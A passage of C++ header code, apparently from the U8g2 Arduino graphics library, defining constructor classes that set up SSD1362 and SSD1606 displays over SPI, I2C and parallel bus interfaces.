U8G2_SSD1362_256X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_8080 : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_6800 : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_8080 : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_6800 : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_8080 : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_256x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1362_256X64_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1362_256X64_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1362_256X64_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1362_256X64_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1362_256X64_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1362_256X64_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_256X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_6800 : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_8080 : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_6800 : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_8080 : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_6800 : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_8080 : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_206x36_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1362_206X36_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1362_206X36_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1362_206X36_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1362_206X36_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1362_206X36_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1362_206X36_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1362_206X36_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1362_i2c_206x36_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1606_172X72_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  